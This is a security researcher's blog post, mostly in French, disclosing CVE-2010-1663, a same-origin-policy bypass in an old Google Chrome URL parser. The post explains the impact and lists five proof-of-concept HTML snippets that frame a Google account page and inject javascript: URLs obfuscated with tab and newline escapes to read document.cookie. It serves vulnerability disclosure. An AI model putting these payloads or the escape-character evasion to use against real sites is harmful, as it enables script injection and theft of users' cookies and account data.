Articles récents

Catégories

[CVE-2010-1663] Google Chrome Cross Origin Bypass in Google URL (GURL)

https://googlechromereleases.blogspot.com/2010/04/stable-update-bug-and-security-fixes.html

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1663


Security researcher Jordi Chancel reported that the Google URL Parsing Library (aka google-url or GURL) in Google Chrome before 4.1.249.1064 allows remote attackers to bypass the Same Origin Policy via CHARACTER TABULATION or others escape characters inside javascript: protocol string.

Voici un nouveau billet concernant une vulnérabilité critique du navigateur Google Chrome décelé lors de mes tests du 05/04/2010.
L’exécution de code sur un domaine distant peut être effectué par le biais de vulnérabilités comme le cross-site scripting/http Response Splitting (etc), cependant d’autres vulnérabilités côté navigateur sont aussi sujet à ce genre d’exécution que le site ciblé soit vulnérable ou non.


Certaines mesures de sécurité sont ainsi adoptées, comme les restrictions Cross-Domain/Cross-Origin […] et permettent donc de contrôler la validité des privilèges détenus pour l’exécution de code sur un domaine distant.

Cross-Origin Policy?
La violation des restrictions cross-origin est l’action exécuter du code sur un domaine distant par le biais d’un ou plusieurs élément(s) lié(s) à ce même domaine sur une page malveillante et le fait même de pouvoir ‘bypasser’ ces restrictions donnent des privilèges extrêmement élevés surtout si l’action peut être effectuée à partir d’une page malicieuse distante (ftp/http/https/…), comme c’est le cas avec cette vulnérabilité.


Ainsi l’accès au cookie / mot de passe & nom d’utilisateur, données confidentielles du compte de la personne piégé et le détournement de privilèges JavaScript liés à certains domaines de confiance rendent ce type de vulnérabilité parmi les plus critiques envisageables.

 


All PoC:
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\u0009ipt:alert(document.cookie)','test')" >Inject JavaScript</a>


<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\x09ipt:alert(document.cookie)','test')" >Inject JavaScript</a>


<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\nipt:alert(document.cookie)','test')" >Inject JavaScript</a>


<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\ript:alert(document.cookie)','test')" >Inject JavaScript</a>


<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\tipt:alert(document.cookie)','test')" >Inject JavaScript</a>


  • Vidéo de démonstration :



Reporté sur la plateforme de report de bug Chromium le 05/04/2010.
-Jordi Chancel